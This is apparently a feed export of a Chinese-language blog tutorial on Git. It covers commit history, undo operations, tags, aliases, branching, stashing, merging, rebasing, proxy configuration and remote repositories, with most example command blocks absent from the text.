甚至支持自定义格式化,比如

+

下面是一些常用的格式化选项。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
选项说明
%H提交的完整哈希值
%h提交的简写哈希值
%T树的完整哈希值
%t树的简写哈希值
%P父提交的完整哈希值
%p父提交的简写哈希值
%an作者名字
%ae作者的电子邮件地址
%ad作者修订日期(可以用 --date=选项 来定制格式)
%ar作者修订日期,按多久以前的方式显示
%cn提交者的名字
%ce提交者的电子邮件地址
%cd提交日期
%cr提交日期(距今多长时间)
%s提交说明
+

还可以查看指定时间段的提交历史

+

下面是一些常用的输出限制参数

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
选项说明
-<n>仅显示最近的 n 条提交。
-glob=<pattern>显示模式匹配的提交
-tags[=<pattern>]显示匹配tag的提交
-skip=<n>跳过n次提交
-merges仅显示合并提交
-no-merges不显示合并提交
--since, --after仅显示指定时间之后的提交。
--until, --before仅显示指定时间之前的提交。
--author仅显示作者匹配指定字符串的提交。
--committer仅显示提交者匹配指定字符串的提交。
--grep仅显示提交说明中包含指定字符串的提交。
-S仅显示添加或删除内容匹配指定字符串的提交。
+

如果想要了解更多,可以使用git help log命令查看更多的细节。

+

检出提交

+

在查看完历史提交后,你可以获取一个具体的提交的sha1校验和,通过它配合git checkout命令,可以将当前工作区的状态变为指定提交的状态。例如

+

此时工作区的文件内容已经变成了特定提交9d3a0a371740bc2e53fb2ca8bb26c813016ab870的状态,在与HEAD指针分离的情况下,所作的任何修改和提交都不会保存,除非新建一个分支。在已检出的情况下,使用如下命令来新建分支

+

也可以在一开始就新建分支

+

如果想要回到HEAD指针,使命如下命令即可

+

删除文件

+

如果想要删除仓库中的一个文件,仅仅只是删除工作区的文件是不够的,比如新建一个bye.txt,将其添加到工作区后,再将其从工作区删除,此时执行git status会有如下输出

+

git知晓此变化,但是删除文件这一修改并没有添加到暂存区,下一次提交时,该文件依旧会被提交到仓库中。所以应该同时将其暂存区的文件删除,为此git提供了git rm命令来删除暂存区的文件。

+

此时会发现git不再追踪此文件。需要注意的是git rm 在执行时也会删除工作区的文件,倘若仅仅只是想删除暂存区或者仓库中的文件,可以使用如下命令

+

如此一来,就不会对工作区的文件造成任何影响,将修改提交后,暂存区和仓库中的文件就会被删除,而工作区没有变化。

+

移动文件

+

当想要移动文件或重命名文件时,可以使用git mv命令来进行操作。例如将hello.txt,改为hello.md

+

git会感知到此变化,其实该操作等于执行了以下三个命令

+

就算逐条执行这三条命令,git依旧会感知到这是一次renamed操作,更多时候还是使用git mv会方便些。

+

简短输出

+

我们经常使用git status来查看本地仓库的状态,可以添加参数-s来获得更加简短的输出,git会以一种表格的方式来描述文件状态,例如

+

上述简短输出中,左边的状态表述栏有两列,第一列表示暂存区的状态,第二列表示工作区的状态,右边则是对应的文件。A表示新追踪的文件被添加到暂存区,M表示文件被修改,D表示文件被删除,R表示文件被重命名,??表示文件未追踪,下面看一些例子。

+

当然除此之外可能还会有其他的组合,只需要知晓其意思即可。

+

撤销操作

+

在使用git的过程中,经常可能会出现一些操作失误,想要反悔的情况,git当然也给了我们反悔的机会,从不至于将仓库弄的一团糟,下面会介绍几个情况。不过需要注意的是,有些撤销操作是不可逆的。

+

修正提交

+

当你写完自己的代码后,信心满满的提交后,发现自己遗漏了几个文件,又或是提交信息中有错别字。发生这种情况时,只能是再提交一次,然后描述信息为:“遗漏了几个文件”或者是“修复了提交信息的错别字”,这样看着太别扭了,试想一下你的提交历史中都是这种东西,将会相当的丑陋。为此git commit命令提供了--amend参数,来允许你修正上一次提交。看下面的一个例子

+

第二个例子

+

携带该参数后,git会将暂存区内的文件提交,如果说没有任何文件修改,git仅仅只会更新提交信息,修正后,提交历史中只会留下被修正的那个。

+

撤销提交

+

当你发现提交错文件了,想要撤销提交,可以使用git reset,需要注意的是git reset命令使用不当是相当危险的,因为它会丢弃指定提交后的所有修改。对于撤销级别,有三个参数可以使用

+
    +
  • --soft:仅撤销仓库中的内容,不影响暂存区和工作区,指定撤销节点的所有修改都会回到暂存区中。
  • +
  • --mixed:默认,撤销仓库和暂存区中的修改,但是不影响工作区。
  • +
  • --hard:使用该参数相当的危险,因为它同时会撤销工作区的代码,携带该参数执行后,会清空暂存区,并将工作区都恢复成指定撤销提交之前的状态。
  • +
+

如果想要撤销多次提交,可以使用git reset HEAD^n,HEAD是一个指针,它永远指向当前分支的最新提交,HEAD^n即表示前n个提交。倘若想要撤销一个指定的提交,可以将该提交的sha1检验和作为参数使用来指定。比如下面这个命令:

+

使用git reset --hard可以达到将代码回退到某一个版本的效果,不过此前工作区中的所有改动都会消失。下面会将用几个例子做演示,首先对仓库进行一次新的提交

+

下面演示三个参数分别会造成什么影响,首先使用默认不带参数,可以看到此时回到了修改未暂存的状态。

+

然后使用--soft参数,再次查看仓库状态,可以看到回到了暂存区修改未提交的状态

+

最后使用--hard参数,此时查看仓库状态会发现什么都不会提示,因为该操作直接将工作区重置到了该次提交时的状态。

+

在上面的操作中,可以看到有些操作是无法恢复且相当危险的,使用git reset撤销的提交,在提交历史中会消失,如果想要找回可以使用命令git reflog,不过这是有时效性的,时间久了git会删除。

+

在这里我们可以看到被撤销的提交,以及其他被reflog记录的操作,想要恢复这些提交使用git reset commit-id即可。

+

使用git reset是比较危险的,为此,git提供了一种更加安全的撤销方式git revert。它会抵消掉上一次提交导致的所有变化,且不会改变提交历史,而且会产生一个新的提交。同样的,先做一个新提交,在使用revert

+

可以看到,在revert后,原本提交修改的内容消失了,提交历史中之前的提交仍然存在,并且还多了一个新提交。实际上git是将工作区和暂存区的内容恢复到了指定提交之前,并且自动add和commit,如果不想自动提交可以加上-n参数,此时查看仓库状态就会有提示

+

git已经提示了你使用git revert --abort来删除此次revert操作,或者git revert --skip 来忽略修改。如果想要revert多个提交,则必须依次指定。例如

+

撤销暂存

+

取消暂存有两种情况,一种是将新文件移出暂存区,一种是撤销添加到暂存区的修改。在先前的例子中,将新文件添加到暂存区后,查看仓库状态时,git会这样输出

+

其中有这么一句:(use "git rm --cached <file>..." to unstage),git已经告诉你了如何将这些文件取消暂存,对hello.txt执行

+

就可以将该文件移出暂存区。还有一种情况就是已经在暂存区的文件,将新的修改添加到暂存区过后,想要从暂存区撤回该修改,如下面的例子。

+

此时git已经提示了我们,使用git restore --staged来撤销暂存区的这一次修改。

+

撤销后,会发现又回到了修改未被暂存的状态了,除了使用git restore之外,还可以使用 git reset HEAD <file>来撤销暂存区的修改,后者将暂存区指定文件的状态恢复成仓库分支中的状态。需要注意的是,这些命令都是对暂存区进行操作,不会影响到仓库和工作区。

+

撤销修改

+

前面讲的都是对提交和暂存的撤销操作,当想要撤销工作区文件的修改时,将其还原成上一次提交或某一次提交的状态,在上面撤销暂存的例子中,git已经告诉我们了。

+

有这么一句:(use "git restore <file>..." to discard changes in working directory),告诉我们,使用git restore <file>来丢弃工作区指定文件的修改。

+

执行后会发现,文件回到了修改之前,git也不再提示文件有未暂存的修改 ,使用命令git checkout -- hello.txt具有同样的效果。需要注意的是,当你对工作区修改撤销后,是无法恢复的,你最好明白你在做什么。

+
+

注意

+

在git中,只要是提交到了仓库中的修改,绝大多数情况都是可以恢复的,甚至被删除的分支和使用--amend覆盖的提交也可以恢复。但是,任何未提交的修改,丢弃以后就可能再也找不到了。

+
+

标签操作

+

在git中,你可以为某一个提交标注一个标签,表示这是一个阶段性变化,比如一个新的发行版,等等。通过命令git tag -l来查看一个仓库中的所有tag

+

同时它也支持模式匹配,比如

+

这行命令表示只查看主版本为1的tag。在git中,标签分为两种类型,轻量标签(lightweight)和附注标签(annotated),这两种类型还是有很大差别的,轻量标签只是一个特定提交的引用,而附注标签是存储在git中的一个完整对象,包含了许多有用的信息。

+
+

提示

+

人们对软件版本号的定义方式各有千秋,一个主流的方式是使用语义化版本号,前往语义化版本 2.0.0 | Semantic Versioning (semver.org)查看。

+
+

轻量标签

+

创建轻量标签只需要提供标签名即可,如下

+

在创建过后,使用git show <tagname>来查看该tag的信息

+

可以看到轻量标签显示的是commit的信息,之所以叫轻量是因为它仅仅是对提交的引用,当你仅仅只是临时需要一个tag,不想要其他的信息就可以使用轻量标签。

+

附注标签

+

创建附注标签需要用到两个额外的参数,-a参数表示创建一个annotated tags,它接收一个tag名,-m参数表示对tag的描述信息。如下

+

创建后,对该tag执行git show

+

会发现除了展示commit的信息之外,还会展示标记标签的人,日期,信息等。

+

指定提交

+

git tag命令在创建标签时,默认是为HEAD指针,也就是最新的提交创建tag,当然也可以是一个特定的提交。只需要将该提交的sha1校验和作为参数即可。如下

+

创建完后,查看tag信息

+

这样,就可以为一个指定的提交创建tag了。

+

删除标签

+

在本地仓库删除一个tag,可以使用命令git tag -d <tagname>,比如

+

删除后,再查看tag就会发现没有了

+

不过需要注意的是,这仅仅只是在本地仓库删除标签,如果有远程仓库的话,需要单独删除,可以使用如下命令

+

推送标签

+

当你的本地仓库关联了一个远程仓库后,如果你本地创建了tag,再将代码推送到远程仓库上,远程仓库是不会创建tag的。如果你想要推送某一个指定的标签可以使用如下命令

+

例如

+

如果你想要推送所有标签,直接加上--tags参数即可。

+

这样一来,远程仓库上的tag就与本地仓库同步了。

+

检出标签

+

使用命令git checkout <tagname>,就可以将工作区的内容变为该标签所提交时的状态,如

+

git提醒你,现在处于与HEAD指针分离的状态,现在你做的任何的修改和提交都不会对仓库造成任何影响。如果你想要保存这些修改,可以创建一个新的分支

+

或者你也可以在一开始就创建一个新的分支

+

而后面如果你想要希望将这些修改同步到仓库中,这就涉及到后面分支这一文要讲的内容了。如果你想要回到头指针,执行如下命令即可。

+

命令别名

+

对于你经常使用的命令,如果觉得每次都要输入完整的命令而感到厌烦,命令别名可以帮到你。例子如下

+

上述命令分别为commitstatus命令创建了别名,由于添加了--global参数,所以别名可以全局使用。执行别名试试

+

还有三个参数要提一下,分别是

+
    +
  • --add,表示添加别名
  • +
  • --replace-all,表示覆盖别名
  • +
  • --unset,表示删除别名
  • +
+

除此之外,也可以使用命令来清空所有别名

+

这个命令会直接将配置文件中的alias部分删掉。

+

配置文件

+

除了使用命令之外,也可以使用配置文件,也就是.gitconfig文件,windows一般是c:/$user/.gitconfig,linux一般是$HOME/.gitconfig。打开配置文件就可以看到如下内容

+

外部命令

+

除了给git自身的命令加别名外,也可以是外部命令,在添加外部命令时,需要在命令前加上!来表示这是外部命令。格式为

+

例如下面的命令,需要注意的是别名必须是单引号括起来。

+

执行别名试试,就可以看到go的环境变量。

+
]]>
+ +
+ + 分支 + https://246859.github.io/my-blog-giscus/posts/code/git/2.branch.html + https://246859.github.io/my-blog-giscus/posts/code/git/2.branch.html + 分支 + 分支 如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。 + Git + Tue, 29 Nov 2022 00:00:00 GMT + 分支 +

如果说有什么特性能让git从其它vcs中脱颖而出,那唯一的答案就是git的分支管理,因为它很快,快到分支切换无感,即便是一个非常大的仓库。一般仓库都会有一个主分支用于存放核心代码,当你想要做出一些修改时,不必修改主分支,可以新建一个新分支,在新分支中提交然后将修改合并到主分支,这样的工作流程在大型项目中尤其适用。在git中每一次提交都会包含一个指针,它指向的是该次提交的内容快照,同时也会指向上一次提交。

+
+

git的分支,实际上正是指向提交对象的可变指针,如图所示。通过如下命令可以看到分支所指向提交的情况

+

创建切换

+

从图中和输出中我们可以看到,HEAD此时是指向main分支,于此同时,main分支与test分支都是指向的f5602b9这一提交,并且还有很多tag,除此之外,还可以看到origin/main这一远程分支。接下来创建一个新的分支试试,通过如下命令可以创建一个分支

+

创建完成后,使用git checkout <branchname>来切换到指定分支

+

如果想要创建的同时并切换切换成该分支可以使用-b参数,例如

+

命令git checkout <branchname>也可以切换分支,使用git checkout -b <branchname>也能达到创建并切换的效果,事实上git switch使用的还是git checkout

+
+

提示

+

git switch命令相对git checkout命令比较新,同时也可能不那么稳定。

+
+
+

分支切换后,HEAD指针就会指向test分支,HEAD指针永远指向当前所在的分支,通过它就可以知道现在仓库的状态处于哪一个分支。接下来做一个提交来看看。

+
+

可以从输出中看到,test分支此时指向的是9105078这个提交,而main分支依旧是指向的原来的那个提交。当分支切换回去时,会发现HEAD再次指向了main分支。

+

这时再做出一些修改并提交,可以看到HEAD和main分支都指向了最新的提交。

+

再来查看提交日志,git很形象的表示了所有分支的状态。

+
+

git的输出就如图所示,main与test两个分支最初都指向的同一个提交commit3,在随着有了新的提交后,它们都分别指向了各自不同的提交,当想要切换分支时,git就会将HEAD指针指向指定的分支,并将工作区恢复成该分支所指向提交的状态,在git中,分支的切换仅仅只是指针的移动,所以切换起来相当的迅速。正应如此,开发人员可以随心所欲的创建属于自己的分支来给仓库添加新的特性,这些变更在最后合并分支后都会出现在主分支中。

+
+

提示

+

刚刚提到的主分支,只是对开发人员的一个概念,git中没有什么特殊分支,起名为main仅仅只是将它看待成主分支,实际上它与test分支并没有什么不同,默认的master分支也只是git的一个默认名称而已。

+
+

在创建分支时,也可以不必从最新的提交创建,通过如下命令指定提交,就可以从指定的提交创建分支。

+

从输出中可以看到,jkl分支指向的是a35c102这一提交。

+

临时修改

+

在分支切换时,git会将工作区切换到该分支所指向提交的状态,并且暂存区会被清空,这就意味着,如果在切换分支时有未提交的修改,那么这些修改将会丢失。不过git显然不允许这样的情况发生,它会这样提示你。

+
+

注意

+

如果你非要这么做,可以加上--discard-changes参数来丢弃修改或者--merge合并修改。

+
+

在进行危险操作时git总会提醒你不要这么做,从输出中可以得知,当本地有未提交的修改时,git不允许切换分支,要么把修改提交了,要么就使用一个名为git stash。它可以将本地未提交的修改临时保存起来,待将分支切换回来以后,还可以将这些修改复原,回到之前的状态,以便继续这个分支的开发工作。示例如下

+

这里先做了一些修改,将修改添加到了暂存区但未提交,只要是被追踪的文件发生变化,这里不添加到暂存区一样会被阻止,如果不添加到暂存区,git在stash时会自动添加将修改添加到暂存区。可以看到在切换分支时被git阻止了,于是使用git stash命令将这些修改临时存放后成功切换到了test分支。然后再切换回来,使用git stash pop来恢复最近一个临时保存的修改。

+

可以看到仓库状态又变成了未暂存的修改,一旦临时修改被恢复过后,它就会被移出,正如pop所表达的含义一样。我们可以进行多次临时保存,并选择特定的修改来恢复。这里分别进行两次修改,然后临时保存两次。

+

通过输出可以发现有两个临时保存的修改,存放的顺序就跟栈一样,后进先出,最上面的就是最新的修改。这时可以使用命令git stash apply来恢复指定的修改。

+

如果恢复完成过后,想要删除的话,使用如下命令

+

git stash pop就是将最近的一次修改恢复并删除。也可以使用clear命令来一次性删除所有的修改

+

在上面的输出中可以看到,stash输出的修改列表除了索引不一样,其它都没什么区别,这样很难区分到底做了什么修改。为此,可以加上-m参数。

+

从输出中可以看到,当git stash不带子命令直接执行时,其实就是执行的git stash push,加上-m参数以后,查看修改历史就可以看到我们自定义的信息了。

+

合并删除

+

git支持多分支开发,也非常鼓励多分支开发。一般而言,一个项目会有一个主分支,也是就是main或master(只是一个名字而已,叫什么不重要),主分支的代码是最稳定的,通常软件发版就是在主分支发行。当你后期想要添加一个新特性,或者修复一个问题,你可以直接修改主分支代码,但这就破坏了主分支的稳定性,为此可以新建一个分支来做这类工作,新分支的代码可能不那么稳定,开发人员通常会在新分支上捣鼓各种奇奇怪怪的东西,等到稳定后就可以将修改合并到主分支上,又或者是放弃此前的工作,直接删除该分支。所以,在git中你可以随意的新建和删除分支并且不需要什么成本。

+

下面会做一些例子来进行演示,首先先看看仓库中有哪些分支

+

可以看到,总共有三个分支,git用* 标注了当前所在的分支,为了方便演示先将hello.txt文件清空并提交。

+

随后再新建一个feature分支并切换过去。这里之所以叫feature是表示新增特性,你也可以取其它名字,比如hotfix,即热修复,或者patch,表示补丁,这些名字并不是强制要求的,仅仅只是一个规范,你可以取你想要的任何名字。

+

可以看到四个分支中,test与op分支指向的0224b74提交,而feature与main分支都指向的是最新的提交。接下来在feature分支做一些修改并提交。

+
+

可以看到feature分支已经领先main两个提交了,前面提到过未提交的修改在切换分支后会丢失,这里将修改提交后切换分支就没什么问题了。这个时候想要合并分支的话,由于我们将main分支作为主分支,所以需要先切回到main分支,git会将当前所作的分支作为被并入的分支,然后再使用git merge命令合并。

+

合并成功后,查看hello.txt文件就可以看到新的变化了。当一个分支成功合并以后,这个分支就没用了,所以可以将其删除。

+

删除后再次查看分支列表,就会发现不存在了,此时main分支的代码就已经是最新的了。

+

恢复分支

+

在进行日常操作时,总会不可避免将分支误删除,之前讲到过分支其实就是一个指向提交的指针,而删除分支只是删除这个指针,至于那些提交不会有任何变化,所以恢复的关键点在于找到提交。在先前的例子中,我们已经将feature分支删除了,为了恢复该分支,我们先看看git的引用日志。

+

关键点在于这一条,这时我们在feature分支做的最后一个提交

+

使用该commitId创建一个新分支

+

从输出中可以看到,在先前feature分支的提交都已经恢复了。

+

冲突解决

+

上述过程就是一个多分支开发的例子,这个简单的案例中只涉及到了一个文件的变化,在使用的过程中很难会出什么问题。不过在实际项目中从主分支中创建一个新分支,主分支在合并前就可能有了很多的新的提交,这些提交可能是从其它分支中合并来的,新的提交可能会涉及到很多文件的新增,修改,删除,而新分支也是同样如此,这样一来在合并时就不可避免的会出现冲突,只有将冲突解决后,才能成功合并。如图所示

+
+

为了演示冲突,先在从当前提交创建一个新分支,并做一些修改。

+

然后切回main分支,再做一个修改并提交。

+

此时查看提交历史,就跟上图描述的差不多

+

现在开始准备合并,git会提示你没法合并,因为有文件冲突,只有将冲突解决了才能合并。

+

这时看看hello.txt文件

+

会发现git已经给你标记好了哪些修改是main分支做的,哪些修改conflict分支做的,由于同时修改了同一个文件,所以产生了冲突。我们使用vim将文件修改成如下内容。

+

实际上只是去掉了git后面加的标记,因为这两个分支的修改我们都需要保留,只有将git冲突标记去掉后,git才会认为是真正解决了冲突,然后再将修改提交。

+

main分支和conflict分支最初的父提交都是0658483 ,而后两个分支分别做各自的修改,它们的最新提交分别是fd66aec2ae76e4。这样一来,git在合并时就会比对这三个提交所对应的快照,进行一个三方合并。而在之前的feature分支中,由于main分支并未做出任何新的提交,所以合并后提交历史依旧是线性的,也就不需要三方合并。从提交历史中可以看到,此时两个分支的提交已经被合并了,而且还多了一个新的提交,这个提交被称为合并提交,它用来记录一次三方合并操作,这样一来合并操作就会被记录到提交历史中,合并后的仓库提交历史如图所示。

+
+

在提交历史中可以清晰的看到,这是一次合并提交

+

Merge: fd66aec 2ae76e4这一行描述了合并前两个分支所指向的最新的提交,通过这两个commitid,也可以很轻松的恢复原分支。

+

变基操作

+
+

在git中整合不同分支的方法除了合并merge之外,还有一个方法就是变基rebase。在之前的例子中,我们可以得知,合并操作会将对两个分支进行三方合并,最终结果是生成了一个新的提交,并且这个提交在历史中会被记录。而变基则相反,它不会生成一个新的提交,对于上图这种状态,它会将feature分支上所有的修改都移到main分支上,原本feature分支是从Commit2的基础之上新建来的,执行rebase操作后,feature分支中的Commit4将会指向Commit3,这一过程就被称作变基,就如下图所示。然后就只需要一个普通合并让main分支指向Commit5就完成操作了。

+
+

双分支

+

下面会例子来进行演示,首先在main分支对README.md文件做修改并提交。

+

然后在前一个提交的基础上新建一个名为feature_v3的分支,在该分支上对hello.txt进行修改并提交

+

此时仓库状态跟下面的输出一样,是分叉的。

+

在feature_v3分支上对main分支执行变基操作,就会发现提交历史又变成线性的了,提交63f5bc8原本指向的父提交从388811a变成了main分支的 0d096d1

+

然后再切回main分支,对feature_v3进行合并。这种合并就不是三方合并了,只是让main分支指针移动到与feautre_v3分支所指向的同一个提交,所以也不会生成新的合并提交,这种合并被称为快进合并。

+

此时仓库状态就类似下图。变基与三方合并结果并没有区别,只是变基操作不会被记录在提交历史中,且提交历史看起来是线性的,能够保持提交历史的简介。

+
+

三分支

+

似乎从目前看来,变基要比合并好用的多,不过事实并非如此。下面来演示三个分支变基的例子。先创建一个新分支叫v1,然后在main分支上做一些修改并提交,切换到v1分支上做一些修改并提交,在这个提交的基础上再建一个新分支v2,随后又在v2分支上做一些新提交,总共三个分支。

+

经过一系列修改后,就有了三个分支,并且各自都有新提交,此时仓库提交历史如下

+

类似下图所描述的结构

+
+

假如我想要把v2分支的修改合并到main分支中,因为v2分支的修改已经工作完毕,可以考虑合并了,但v1分支中的修改还不稳定,需要继续完善,所以只想要应用v2的修改,但并不想应用v1的修改,这就需要用到git rebase --onto

+

通过执行上述命令,git会将v2分支变基到main分支上,git会找出v2分支从v1分支分离后的修改,将其应用在main分支上。--onto参数就是干这活的,如果直接进行变基的话,v1和v2的修改都会被应用到main分支上。

+

通过提交历史可以看到,此时的提交历史如下图所示

+
+

先别急着合并,在这之前,先将分支v1变基到v2分支上

+

通过提交历史可以看到,此时的提交历史又变成线性的了,然后再逐一合并

+

这样一来,所有分支的提交都变成线性的了,就如下图所示。这个例子演示了如何在变基时,选择性的合并修改,即便是四个分支,五分支也是同样如此。

+
+

缺点

+

就目前而言的话,变基的使用还是相当愉快的,不过愉快的前提是这个仓库只有你一个人用。变基最大的缺点就是体现在远程仓库中多人开发的时候,下面来讲一讲它的缺点。变基的实质是丢弃一些现有的提交,然后再新建一些看起来一样但其实并不一样的提交,这里拿官网的例子举例Git - 变基 (git-scm.com),可以先去了解下远程仓库再来看这个例子。

+

图中分为远程仓库和本地仓库,你的本地仓库在远程仓库的基础之上做了一些修改。

+
+

然后另外一个人做了一些合并修改,并推送到远程仓库,随后你又拉取了这些修改到你的本地仓库,并将修改合并到你本地的分支,此时提交历史是这样的。

+
+

结果那个人吃饱了撑的又把合并操作撤销了,改用变基操作,然后又用git push --force覆盖了远程仓库上的提交历史。这时如果你再次拉取远程仓库上的修改,你就会发现本地仓库中多出来一些提交,这些多出来的提交,就是变基操作在目标分支上复原的提交。此时的提交历史如下图所示

+
+

可以看到c6是原来远程仓库中三方合并c1,c4,c5产生的新提交,但是那个人将合并撤销后改用变基,这就意味着c6提交在远程仓库中被废弃了,不过在你的本地仓库并没有废弃,而且你本地仓库的c7提交是从c6提交合并而来的,c4'是变基操作将c4重新在目标分支上应用而产生的新提交。再次将远程分支合并过后,其实c6与c4'这两个提交内容是完全一样的,等于是你将相同的内容又合并了一次。本地仓库的提交历史就像下图一样

+
+

c8是由合并而产生的新提交,你的本地仓库中会同时存在c4与c4'这两个提交,它们两个理应不应该同时出现,这时查看提交历史,你会发现c4与c4'的提交信息完全一模一样。更大的问题是,假如你想要把你的修改提交到远程仓库上,等于就是你把别人通过变基操作丢弃掉的提交(c4,c6)又找了回来。

+

面对这种问题,你应该将远程分支作为目标分支进行变基,就是执行如下命令

+

或者

+

Git 将会进行如下操作:

+
    +
  • 检查哪些提交是我们的分支上独有的(C2,C3,C4,C6,C7)
  • +
  • 检查其中哪些提交不是合并操作的结果(C2,C3,C4)
  • +
  • 检查哪些提交在对方覆盖更新时并没有被纳入目标分支(只有 C2 和 C3,因为 C4 其实就是 C4')
  • +
  • 把查到的这些提交应用在 teamone/master 上面
  • +
+

最终就会如下图所示,是一个线性的提交历史。

+
+

导致这种情况的原因就在于,你已经基于远程仓库的提交进行新的开发了,而对方却使用变基使得提交废弃了。建议使用变基时,最好只在你本地进行,并且只对没有推送到远程仓库的提交进行变基,这样才能安全的享受到变基带来的好处,否则的话你就有大麻烦了。

+]]>
+ +
+ + 远程仓库 + https://246859.github.io/my-blog-giscus/posts/code/git/3.remote.html + https://246859.github.io/my-blog-giscus/posts/code/git/3.remote.html + 远程仓库 + 远程仓库 之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。 + Git + Sat, 03 Dec 2022 00:00:00 GMT + 远程仓库 +

之前的所有演示都基于本地仓库的,git同样也支持远程仓库,如果想要与他人进行协作开发,可以将项目保存在一个中央服务器上,每一个人将本地仓库的修改推送到远程仓库上,其他人拉取远程仓库的修改,这样一来就可以同步他人的修改。对于远程仓库而言,对于公司而言,都会有自己的内网代码托管服务器,对于个人开发者而言,可以选择自己搭建一个代码托管服务器,又或者是选择第三方托管商。如果你有精力折腾的话可以自己搭,不过我推荐选择第三方的托管商,这样可以将更多精力专注于项目开发上,而且能让更多人发现你的优秀项目。

+
+

第三方托管

+

自建托管网站就是自己搭建的,第三方代码托管网站就是第三方搭建的,他们通过提供优质的代码托管服务,来吸引各式各样的开发人员与开源项目,时至今日,很多托管商基本上都不在局限于代码托管的功能。使用第三方托管商提供的平台,可以让开发者更专注于项目开发,而有些第三方托管商会将自己的项目开源,以供进行私有化部署,并为此提供配套的企业级服务。做的比较好的第三方托管商有以下几个

+
    +
  • Github
  • +
  • GitLab
  • +
  • BiteBucket
  • +
  • Gitee
  • +
  • sourceforge
  • +
  • Coding
  • +
+

其中,GitHub是使用最普及的,可以说,干程序员这行就没有不知道GitHub的,本文将选择Github来作为远程仓库进行讲述。

+

Git代理

+

在本文开始讲解怎么进行远程仓库的操作之前,有一个相当重要的东西需要解决,那就是网络问题。在国内,Github是无法正常访问的,正常访问Github网站以及它提供的代码托管服务都会相当的缓慢,慢到只有几KB/s,在这种情况下,只能通过魔法上网来解决。

+

首先你需要自己付费购买代理服务,一般代理商都会给你提供相应的代理工具,比如我使用的代理工具是Clash for windows,它的本地代理端口是7890,并且同时支持http和socks5协议

+ +

在知晓了代理端口以后,就可以给Git bash 配置代理了

+

上面的是全局设置,你可以只为特定的域名设置代理

+

代理设置完毕后,再使用远程托管服务就会流畅许多。

+

克隆仓库

+

在GitHub上有着成千上万的开源仓库,如果你想要获取一个开源仓库的源代码,最好的方式就是克隆仓库,比如Go这门编程语言的开源仓库,事实上这是镜像仓库,源仓库在谷歌。

+
+

通过Code按钮可以获取该仓库的url

+ +

然后在本地找一个你觉得合适的位置来放置该项目,随后执行命令

+

Go源代码的大小有500MB左右,在将代码克隆到本地以后,你就可以开始独自研究,修改,并编译这些源代码了。

+

实际上git clone的url参数也可以是本地仓库,例如

+

git在将仓库克隆到本地时或者检出远程分支时,会自动创建跟踪分支,跟踪分支是与远程分支有着直接关系的本地分支,比如远程分支叫origin/main,那么本地的跟踪分支就与之同名叫main,先查看下分支情况

+

可以看到这里有四个分支,首先main属于跟踪分支,origin/main属于远程跟踪分支,它是对于远程仓库中的分支的引用。我们后续在工作区的修改都是基于跟踪分支,远程跟踪分支是不可写的,git会在每一次fetch时更新远程跟踪分支。通过给git branch命令加上-vv参数,可以查看本地所有的跟踪分支。

+

可以看到git只为main分支自动创建了跟踪分支。假设远程仓库初始状态如下

+
+

将代码克隆到本地后,本地仓库的状态如下图,在最开始时两个分支都指向的同一个提交。

+
+

当你在本地做了一些修改并提交,发现远程仓库上有新提交,并使用git fetch抓取了修改后,于是两个分支各自指向了不同的提交。

+
+

这时,为了同步修改,你需要将远程跟踪分支与本地跟踪分支使用git merge合并,于是两个分支又指向了同一个提交。

+
+

最终你将提交通过git push推送到了远程仓库,而此时远程仓库的状态就如下图。

+
+

这基本上就是一般远程仓库的工作流程。

+

关联仓库

+

在本地已有仓库的情况下,可以通过git remote命令将其与远程仓库关联,已知远程仓库的URL为

+

那么执行git remote add <name> <url>来将其关联

+

通过git remote -v来查看本地仓库与之关联的远程仓库

+

仓库关联成功以后通过show子命令来查看细节

+

如果后续不再需要了可以删除掉

+

通过git remote rename来修改关联名称

+

或者使用git remote set-url来更新url

+

一个本地仓库也可以多同时关联多个仓库

+

实际上gitea这个url并不存在,只是我随便编的,git在关联远程仓库时并不会去尝试抓取它,除非加上-f参数,因为url不存在,抓取的结果自然会失败。

+

拉取修改

+

在本地仓库与远程仓库刚关联时,仓库内的代码多半是不一致的,为了同步,首先需要拉取远程仓库的修改。

+

然后查看本地分支就会发现多出来了一个分支remotes/github/main

+

该分支就是远程仓库上的分支,git fetch命令就是将远程仓库上的修改抓取到了本地的remotes/github/main分支上,但实际上我们的工作分支是main分支,所以我们需要改将其合并

+

如果想抓取所有远程分支的修改,可以带上--all参数。

+
+

提示

+

如果提示fatal: refusing to merge unrelated histories ,可以加上--allow-unrelated-histories参数,之所以发生这个问题是因为两个仓库的历史不相关,是独立的。

+
+

跟踪分支

+

在抓取修改后,git并不会创建跟踪分支,在这种情况下,需要手动创建一个分支,然后将指定的远程分支设置为其上游分支

+

或者使用更简洁但具有同样效果的命令

+

以及加上--track参数来自动创建同名的本地跟踪分支

+

或者你也可以只带分支名,当git发现有与之同名的远程分支就会自动跟踪

+

当不再需要跟踪分支时,可以直接通过如下来撤销该分支的上游

+

拉取合并

+

每一次抓取修改后都需要手动合并或许有点麻烦,为此git提供了git pull命令来一次性完成这个步骤。格式是如下

+

如果要合并的本地分支就是当前分支,则可以省略冒号以及后面的参数,例如

+

同样的,它也支持 --allow-unrelated-histories参数,以及所有git fetch支持的参数。

+

推送修改

+

当你在本地完成了修改,并提交到了本地仓库时,如果想要将提交推送到远程仓库,就需要用到git push命令。

+

该命令执行时,默认会推送当前分支的提交,如果当前分支在远程仓库上并不存在,远程仓库就会自动创建该分支,git也在控制台中输出了整个创建的过程。

+

或者你也可以推送指定分支以及指定远程分支的名称

+

